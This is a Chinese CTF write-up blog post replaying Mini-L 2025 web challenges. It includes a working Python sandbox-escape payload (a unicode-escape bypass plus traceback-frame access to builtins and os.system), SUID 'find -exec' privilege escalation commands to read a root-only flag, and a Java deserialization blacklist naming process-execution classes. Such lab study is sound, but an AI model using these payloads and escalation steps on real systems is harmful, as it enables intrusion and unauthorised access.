Mini-L 2025 部分 web 复现

Mini-L 2025 web 复现

年初打的比赛,做出几道题,但是还有做不出来的,当时没能复现,现在把剩下的题目复现。

pybox

tag: python沙箱逃逸,python继承,AST绕过,suid提权

应该是python沙箱,当前算是知识盲区,现在来当学习一下。

打开界面得到一堆python的码:

让ai注释且整理一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
from flask import Flask, request, Response
import multiprocessing
import sys
import io
import ast


# 初始化 Flask 应用
app = Flask(__name__)


# ================== 沙箱 AST 访问器类 ==================
class SandboxVisitor(ast.NodeVisitor):
"""
自定义 AST 访问器,用于静态分析代码结构。
禁止访问某些危险属性或使用生成器表达式。
"""

# 黑名单:禁止访问这些特殊属性(可能被用于反射/逃逸)
forbidden_attrs = {
"__class__", # 防止获取类对象
"__dict__", # 防止修改命名空间
"__bases__", # 类继承信息
"__mro__", # 方法解析顺序
"__subclasses__", # 可用于获取所有类,绕过限制
"__globals__", # 函数全局变量
"__code__", # 函数字节码
"__closure__", # 闭包变量
"__func__", "__self__", # 绑定方法相关
"__module__", # 模块信息
"__import__", # 动态导入
"__builtins__", # 内建命名空间
"__base__" # 基类
}

def visit_Attribute(self, node):
"""
当遇到属性访问时(如 obj.attr),检查是否为禁止属性。
"""
if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
raise ValueError("Forbidden attribute access")
self.generic_visit(node)

def visit_GeneratorExp(self, node):
"""
禁止使用生成器表达式(例如 (x for x in range(10)))
因为它可能导致延迟求值或内存消耗过大等问题。
"""
raise ValueError("Generator expressions are not allowed")


# ================== 沙箱执行函数 ==================
def sandbox_executor(code, result_queue):
"""
在独立进程中执行用户代码的安全函数。
使用受限的 globals 和捕获 stdout/stderr 输出。

参数:
code: 要执行的 Python 代码字符串
result_queue: 多进程通信队列,返回结果
"""
# 构造安全的 builtins 子集
safe_builtins = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook, # 允许设置审计钩子
"Exception": Exception,
}

# 设置干净的 global 命名空间
safe_globals = {"__builtins__": safe_builtins}

# 重定向标准输出和错误流,以捕获 print 输出
sys.stdout = io.StringIO()
sys.stderr = io.StringIO()

try:
exec(code, safe_globals) # 执行代码
output = sys.stdout.getvalue() # 获取正常输出
error = sys.stderr.getvalue() # 获取错误输出
result_queue.put(("ok", output or error))
except Exception as e:
result_queue.put(("err", str(e)))


# ================== 安全执行主接口 ==================
def safe_exec(code: str, timeout=1):
"""
安全地执行一段代码,包含超时控制和 AST 检查。

步骤:
1. 解码 Unicode 转义字符
2. 解析语法树并进行 AST 安全检查
3. 启动子进程执行代码(避免阻塞主服务)
4. 设置超时终止机制

返回:执行结果或错误信息
"""
# 处理 Unicode 转义(例如 \u0061 -> 'a')
code = code.encode().decode('unicode_escape')

# 解析成抽象语法树(AST)
tree = ast.parse(code)

# 使用自定义访问器检查 AST 是否包含非法操作
try:
SandboxVisitor().visit(tree)
except ValueError as e:
return "Error: Suspicious code detected during AST analysis."

# 创建多进程队列用于接收执行结果
result_queue = multiprocessing.Queue()

# 启动子进程执行代码(隔离运行环境)
p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))
p.start()
p.join(timeout=timeout) # 最多等待 timeout 秒

# 超时处理
if p.is_alive():
p.terminate() # 强制终止进程
return "Timeout: code took too long to run."

# 尝试获取执行结果
try:
status, output = result_queue.get_nowait()
return output if status == "ok" else f"Error: {output}"
except:
return "Error: no output from sandbox."


# ================== 用户代码模板 ==================
# 注入点:{text} 将被替换为用户输入
CODE = '''
def my_audit_checker(event, args):
"""
审计钩子函数:监控系统事件,仅允许特定行为。
"""
allowed_events = [
"import", # 允许 import 触发(但不会真正导入)
"time.sleep", # 允许 sleep(但会被拦截)
"builtins.input", # 允许 input 调用
"builtins.input/result" # 允许 input 返回值
]
# 检查事件是否在白名单中
if event not in allowed_events:
raise Exception(f"Audit denied: {event}")
# 不允许传参(args 必须为空)
if len(args) > 0:
raise Exception("Arguments not allowed in audit events")

# 注册审计钩子(Python 3.8+ 支持)
addaudithook(my_audit_checker)

# 打印用户输入内容
print("{}")
'''


# 禁止出现在用户输入中的特殊字符
badchars = "\"'|&`+-*/()[]{}_." # 包括引号、管道、运算符、括号等


# ================== Flask 路由 ==================

@app.route('/')
def index():
"""
主页:返回当前文件源码(自我展示)
"""
return open(__file__, 'r').read()


@app.route('/execute', methods=['POST'])
def execute():
"""
执行端点:接收表单字段 'text',进行过滤后执行。
"""
text = request.form.get('text', '')

# 1. 字符黑名单检查
for char in badchars:
if char in text:
return Response("Error", status=400)

# 2. 将用户输入填入模板并执行
output = safe_exec(CODE.format(text))

# 3. 输出长度限制(防泄露过多信息?或隐藏真实输出?)
if len(output) > 5:
return Response("Error", status=400)

# 4. 返回执行结果
return Response(output, status=200)


# ================== 启动应用 ==================
if __name__ == '__main__':
app.run(host='0.0.0.0') # 监听所有网络接口

尝试用fenjing无果,让ai给出可能的方向,撇了一眼wp,说是用unicode绕过

关键代码

1
2
# 处理 Unicode 转义(例如 \u0061 -> 'a')
code = code.encode().decode('unicode_escape')

然后这里就是ssti加py沙箱逃逸,这个得单独终点学学,只能先看wp打。

有几个需要突破的点:

post检查环节,黑名单绕过:

1
2
3
4
5
badchars = "\"'|&`+-*/()[]{}_." 

for char in badchars:
if char in text:
return Response("Error", status=400)

利用点:

1
code = code.encode().decode('unicode_escape')

在进入 safe_exec 前会被unicode_escape解码,
这样我们传入被unicode_escape编码的字符就能绕过post阶段的检查

接下来需要逃出它的执行模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
CODE = '''
def my_audit_checker(event, args):
"""
审计钩子函数:监控系统事件,仅允许特定行为。
"""
allowed_events = [
"import", # 允许 import 触发(但不会真正导入)
"time.sleep", # 允许 sleep(但会被拦截)
"builtins.input", # 允许 input 调用
"builtins.input/result" # 允许 input 返回值
]
# 检查事件是否在白名单中
if event not in allowed_events:
raise Exception(f"Audit denied: {event}")
# 不允许传参(args 必须为空)
if len(args) > 0:
raise Exception("Arguments not allowed in audit events")

# 注册审计钩子(Python 3.8+ 支持)
addaudithook(my_audit_checker)

# 打印用户输入内容
print("{}")
'''


output = safe_exec(CODE.format(text))

这里我们的输入会被放入print(“{}”)的{}里。

需要执行任意代码,可以用 “) 来闭合print函数达到注入,最后在结尾在加沙print(“来把剩下的引号和括号闭合。

1
2
3
")
代码执行
print("

然后进入 sandbox_executor 函数,这里builtins会被替换为如下被定义的safe_builtins,不是真的builtins。

1
2
3
4
5
6
7
8
9
10
    safe_builtins = {
"print": print,
"filter": filter,
"list": list,
"len": len,
"addaudithook": sys.addaudithook, # 允许设置审计钩子
"Exception": Exception,
}

safe_globals = {"__builtins__": safe_builtins}

我们需要找到另一条能继承可用函数的链,这里要同时考虑ast的影响:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class SandboxVisitor(ast.NodeVisitor):
"""
自定义 AST 访问器,用于静态分析代码结构。
禁止访问某些危险属性或使用生成器表达式。
"""

# 黑名单:禁止访问这些特殊属性(可能被用于反射/逃逸)
forbidden_attrs = {
"__class__", # 防止获取类对象
"__dict__", # 防止修改命名空间
"__bases__", # 类继承信息
"__mro__", # 方法解析顺序
"__subclasses__", # 可用于获取所有类,绕过限制
"__globals__", # 函数全局变量
"__code__", # 函数字节码
"__closure__", # 闭包变量
"__func__", "__self__", # 绑定方法相关
"__module__", # 模块信息
"__import__", # 动态导入
"__builtins__", # 内建命名空间
"__base__" # 基类
}

def visit_Attribute(self, node):
"""
当遇到属性访问时(如 obj.attr),检查是否为禁止属性。
"""
if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
raise ValueError("Forbidden attribute access")
self.generic_visit(node)

def visit_GeneratorExp(self, node):
"""
禁止使用生成器表达式(例如 (x for x in range(10)))
因为它可能导致延迟求值或内存消耗过大等问题。
"""
raise ValueError("Generator expressions are not allowed")

什么是AST?
AST 访问器:

是一个在python来进行静态审计代码的办法。把代码放进去审计,是不会运行的,AST 分析的是代码的结构,不会执行代码,是静态分析。

那SandboxVisitor(ast.NodeVisitor)大概就是把输入的字符里的方法,进行python解析,然后检查语法节点。
大概是检查每一个魔术方法的链接,只要链接上有指定的方法就会进行动作。

所以在进入 safe_exec函数后就得考虑:
safe_builtins是被自定义过的builtins只有几个函数可用,还有就是ast审查,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
f safe_exec(code: str, timeout=1):
"""
安全地执行一段代码,包含超时控制和 AST 检查。

步骤:
1. 解码 Unicode 转义字符
2. 解析语法树并进行 AST 安全检查
3. 启动子进程执行代码(避免阻塞主服务)
4. 设置超时终止机制

返回:执行结果或错误信息
"""
# 处理 Unicode 转义(例如 \u0061 -> 'a')
code = code.encode().decode('unicode_escape')

# 解析成抽象语法树(AST)
tree = ast.parse(code)

# 使用自定义访问器检查 AST 是否包含非法操作
try:
SandboxVisitor().visit(tree)
except ValueError as e:
return "Error: Suspicious code detected during AST analysis."

# 创建多进程队列用于接收执行结果
result_queue = multiprocessing.Queue()

# 启动子进程执行代码(隔离运行环境)
p = multiprocessing.Process(target=sandbox_executor, args=(code, result_queue))
p.start()
p.join(timeout=timeout) # 最多等待 timeout 秒

# 超时处理
if p.is_alive():
p.terminate() # 强制终止进程
return "Timeout: code took too long to run."

# 尝试获取执行结果
try:
status, output = result_queue.get_nowait()
return output if status == "ok" else f"Error: {output}"
except:
return "Error: no output from sandbox."

这里官方wp主要讲了Exception这条链:

1
2
3
4
5
6
7
e.__traceback__ → 指向异常发生时的 traceback 对象

traceback 里包含 tb_frame → 指向异常发生的 栈帧 frame 对象

frame 里包含 f_locals、f_globals、f_back → 可以沿着链条访问之前的局部变量、全局变量、调用栈

可以逃逸到exec外的全局拿__builtins__

再看一遍执行模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
CODE = '''
def my_audit_checker(event, args):
"""
审计钩子函数:监控系统事件,仅允许特定行为。
"""
allowed_events = [
"import", # 允许 import 触发(但不会真正导入)
"time.sleep", # 允许 sleep(但会被拦截)
"builtins.input", # 允许 input 调用
"builtins.input/result" # 允许 input 返回值
]
# 检查事件是否在白名单中
if event not in allowed_events:
raise Exception(f"Audit denied: {event}")
# 不允许传参(args 必须为空)
if len(args) > 0:
raise Exception("Arguments not allowed in audit events")

# 注册审计钩子(Python 3.8+ 支持)
addaudithook(my_audit_checker)

# 打印用户输入内容
print("{}")
'''

那最后,
构建的payload要满足,绕过 badchars 黑名单,绕过 safe_builtins 拿到全局的 builtins,之后是绕过AST的审查,最后绕过输出5个字符的限制

看到官方wp给的payload :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
text=")
list=lambda x:True
len=lambda x:False
#从写list和len方法,绕过执行模板的审计钩子 my_audit_checker

try:
1/0
# 尝试报错
#故意制造一个异常(除零错误),目的是获取当前的 traceback(栈追踪)。
#因为异常发生时,Python 会生成一个 traceback 对象,记录调用栈信息。
except Exception as e:
frame = e.__traceback__.tb_frame.f_back
builtins = frame.f_globals['__builtins__']
builtins.exec("builtins.__import__('os').system('ls / -al>app.py')")
#这里__import__被ast拦了,所以放成字符串丢到exec里(也可以用__getattribute__获取__import__)
#例如 getattr('__imp'+'__opt__')('os')
#frame.f_globals['SandboxVisitor'].visit_Attribute=lambda x,y:None #重写visit_Attribute后
#builtins.__import__('os').system('ls />app.py') #也ok
print("

#得unicode编码

所以说在exp中制造异常是为了利用__traceback__链接来拿到f_back里的f_globals里的builtins

然后用exec来执行字符串来绕过SandboxVisitor的审查,因为ast是不会对字符串进行解析的

另一种绕过andboxVisitor的解法:
替换ast函数:

1
2
3
4
frame.f_globals['SandboxVisitor'].visit_Attribute=lambda x,y:None 
#把自定义的SandboxVisitor两个参数置空
builtins.__import__('os').system('ls />app.py')
#就能直接使用import了

最后需要对付的是输出时的限制5个字符:

1
2
if len(output) > 5:
return Response("Error", status=400)

这里容易想到是写入文件,由于权限问题最好能写入到web能访问的文件,所以写入app.py

1
total 72 drwxrwxrwx 1 root root 4096 May 3 00:12 app lrwxrwxrwx 1 root root 7 Jul 22 2024 bin -> usr/bin drwxr-xr-x 2 root root 4096 Mar 29 2024 boot drwxr-xr-x 5 root root 360 Oct 21 05:30 dev -rwxr-xr-x 1 root root 272 May 1 16:15 entrypoint.sh drwxr-xr-x 1 root root 4096 Oct 21 05:30 etc drwxr-xr-x 1 root root 4096 Oct 21 05:30 home lrwxrwxrwx 1 root root 7 Jul 22 2024 lib -> usr/lib lrwxrwxrwx 1 root root 9 Jul 22 2024 lib64 -> usr/lib64 -rw------- 1 root root 101 Oct 21 05:30 m1n1FL@G drwxr-xr-x 2 root root 4096 Jul 22 2024 media drwxr-xr-x 2 root root 4096 Jul 22 2024 mnt drwxr-xr-x 2 root root 4096 Jul 22 2024 opt dr-xr-xr-x 520 root root 0 Oct 21 05:30 proc drwx------ 1 root root 4096 Aug 2 2024 root drwxr-xr-x 1 root root 4096 Oct 21 05:30 run lrwxrwxrwx 1 root root 8 Jul 22 2024 sbin -> usr/sbin drwxr-xr-x 2 root root 4096 Jul 22 2024 srv dr-xr-xr-x 13 root root 0 Aug 18 11:39 sys drwxrwxrwt 1 root root 4096 May 3 00:12 tmp drwxr-xr-x 1 root root 4096 Jul 22 2024 usr drwxr-xr-x 1 root root 4096 Jul 22 2024 var 

然后尝试读取m1n1FL@G会发现没有权限

这时需要进行提权,wp上的解法是用suid提权

suid权限,指一个应用可以被任何人执行,但是由于应用有suid权限,当另一人执行应用时会等价于是应用的所有者权限所执行

find / -perm /4000
找到拥有suid权限的程序:

1
/usr/bin/find /usr/bin/mount /usr/bin/passwd /usr/bin/su /usr/bin/chsh /usr/bin/chfn /usr/bin/gpasswd /usr/bin/umount /usr/bin/newgrp

然后用find提权:

1
2
3
4
5
6
7
8
find /etc/passwd -exec chmod 777 /m1* \;
cat /m1* >app.py

或者

find . -exec cat /m1* > app.py \;

等等

官方wp: https://github.com/XDSEC/miniLCTF_2025/blob/main/OfficialWriteups/Web/GuessOneGuess-PyBox.md

ezCC

看题目:

第一次扫描失败了,然后限制了一下delay,,慢扫了一下:

1
2
3
4
5
6
7
8
[10:38:53] Starting:
[10:39:09] 200 - 578B - /show/
[10:39:22] 200 - 17MB - /secret/
[10:39:27] 400 - 435B - /../../../../../../../../etc/passwd
[10:39:27] 400 - 435B - /static/../../../../etc/passwd
[10:39:27] 400 - 435B - /static/../C:\windows\win.ini
[10:39:27] 400 - 435B - /%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
[10:39:59] 400 - 435B - /\..\..\..\..\..\..\..\..\..\etc\passwd

这里show是显示评论的,访问secret拿到源码

发现是.jar文件,解压发现一个pom.xml文件

pom.xml 是 Maven 项目的核心配置文件

发现一个blacklist:

还有ai的分析:

上网查找一下:

15年的漏洞,虽然版本对的上,但是apache有修复,感觉不像是利用点,先听ai话,反编译一下IndexController:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
package BOOT-INF.classes.com.example.controller;

import com.example.Components.Comment;
import com.example.tools.BlackList;
import com.example.tools.ByteArrayToStringExtractor;
import com.example.tools.Tools;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.core.io.FileSystemResource;
import org.springframework.core.io.Resource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
public ArrayList<Comment> comments = new ArrayList<>();

public BlackList bl = new BlackList();

Set<String> blacklist = this.bl.blacklist;

@RequestMapping({"/"})
@ResponseBody
public String index(HttpServletRequest request) {
return "<html><head><style>body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }.container { max-width: 600px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }h1 { color: #333; }form { margin-top: 20px; }label { display: block; margin-bottom: 8px; }input[type='text'] { width: 100%; padding: 8px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; }input[type='submit'] { background-color: #4CAF50; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }input[type='submit']:hover { background-color: #45a049; }</style></head><body><div class='container'><h1>Welcome to miniLCTF 2025~</h1><p>Do you really know the CC?</p><form action='/handle' method='post'> <label for='data'>Enter data:</label> <input type='text' id='data' name='data'> <input type='submit' value='Submit'></form></div></body></html>";
}

@PostMapping({"/handle"})
public String ser(String data) throws Exception {
Comment new_comment = new Comment(data);
byte[] comments_code = Tools.serialize(new_comment);
String comments_str = Tools.base64Encode(comments_code);
deser(comments_str);
return "redirect:/show";
}

@RequestMapping({"/deserialize"})
@ResponseBody
public void deser(String data) throws Exception {
if (data.length() > 6000)
throw new Exception("Payload too long");
byte[] comments_code = Tools.base64Decode(data);
List<String> result = ByteArrayToStringExtractor.extractVisibleStrings(comments_code);
for (String i : this.blacklist) {
for (String s : result) {
if (s.contains(i))
throw new Exception("Forbidden blacklist");
}
}
try {
Comment trans_comment = (Comment)Tools.deserialize(comments_code);
this.comments.add(trans_comment);
} catch (Exception e) {
e.printStackTrace();
}
}

@RequestMapping({"/show"})
@ResponseBody
public String show(HttpServletRequest request) throws Exception {
StringBuilder htmlBuilder = new StringBuilder();
htmlBuilder.append("<html><head><style>")
.append("body { font-family: Arial, sans-serif; background-color: #f0f0f0; padding: 20px; }")
.append(".container { max-width: 800px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }")
.append("h1 { color: #333; }")
.append("ul { list-style-type: none; padding: 0; }")
.append("li { margin-bottom: 10px; padding: 10px; background-color: #f9f9f9; border-radius: 4px; }")
.append(".comment-text { font-weight: bold; }")
.append(".comment-time { color: #666; font-size: 0.9em; }")
.append("</style></head><body>")
.append("<div class='container'>")
.append("<h1>Comments</h1>");
if (this.comments.isEmpty()) {
htmlBuilder.append("<p>No comments yet.</p>");
} else {
htmlBuilder.append("<ul>");
for (Comment comment : this.comments)
htmlBuilder.append("<li>")
.append("<span class='comment-text'>").append(comment.getText()).append("</span>")
.append("<br>")
.append("<span class='comment-time'>From: ").append(comment.getFormattedTimestamp()).append("</span>")
.append("</li>");
htmlBuilder.append("</ul>");
}
htmlBuilder.append("</div></body></html>");
return htmlBuilder.toString();
}

@RequestMapping({"/secret"})
@ResponseBody
public ResponseEntity<Resource> secret(HttpServletRequest request) throws IOException {
String path = "/app/final.jar";
FileSystemResource fileSystemResource = new FileSystemResource(path);
if (!fileSystemResource.exists() || !fileSystemResource.isReadable())
return ResponseEntity.notFound().build();
HttpHeaders headers = new HttpHeaders();
headers.add("Content-Disposition", "attachment; filename=\"" + fileSystemResource.getFilename() + "\"");
return ((ResponseEntity.BodyBuilder)ResponseEntity.ok().headers(headers)).contentLength(fileSystemResource.contentLength()).contentType(MediaType.APPLICATION_OCTET_STREAM).body(fileSystemResource);
}
}

应该类似是路由,其中有handle和show,deserialize
/handle 应该是用来上传comment的
/show 是显示评论
/deserialize 应该就是反序列化了

网上关于ctf的cc好是反序列化

那先看看/handle:

1
2
3
4
5
6
7
8
@PostMapping({"/handle"})
public String ser(String data) throws Exception {
Comment new_comment = new Comment(data);
byte[] comments_code = Tools.serialize(new_comment);
String comments_str = Tools.base64Encode(comments_code);
deser(comments_str);
return "redirect:/show";
}

最后的用户传入会经过base64解码后传入反序列化的函数,就是下面的/deserialize

那关键点可能就在/deserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public void deser(String data) throws Exception {
if (data.length() > 6000) //有长度限制,注意是 Base64 字符串长度,不是原始字节长度
throw new Exception("Payload too long");
byte[] comments_code = Tools.base64Decode(data);
List<String> result = ByteArrayToStringExtractor.extractVisibleStrings(comments_code);
for (String i : this.blacklist) {
for (String s : result) {
if (s.contains(i))
throw new Exception("Forbidden blacklist");
}
}
try {
Comment trans_comment = (Comment)Tools.deserialize(comments_code);
this.comments.add(trans_comment); //评论是根据反序列化后的payload构建
} catch (Exception e) {
e.printStackTrace();
}
}

需要看一眼blacklist:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package BOOT-INF.classes.com.example.tools;

import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;

public class BlackList {
public final Set<String> blacklist;

public BlackList() {
this.blacklist = new HashSet<>();
this.blacklist.addAll(Arrays.asList(new String[] { "Runtime", "ScriptEngine", "SpelExpressionParser", "ProcessImpl", "UNIXProcess", "forkAndExec", "ProcessBuilder", "UnixPrint" })); //过滤了这些关键词,虽然不知道作用是什么
}

public BlackList(int sign) {
this.blacklist = (new com.example.tools.BlackList()).blacklist;
this.blacklist.addAll(Arrays.asList(new String[] { "jackson", "ChainedTransformer" }));
}
}

那我的思路可能就是通过反序列话来实现rce,根据题目提示应该是这样,不去考虑xss这边。
给ai分析了项目,说是blacklist过滤很弱,可以尝试cc1链

搞来搞去,还是搞不懂java这块,以后再学吧

https://xz.aliyun.com/news/12115


Mini-L 2025 部分 web 复现
https://aidemofashi.github.io/2025/11/01/Mini-L/
作者
aidemofashi
发布于
2025年11月1日
许可协议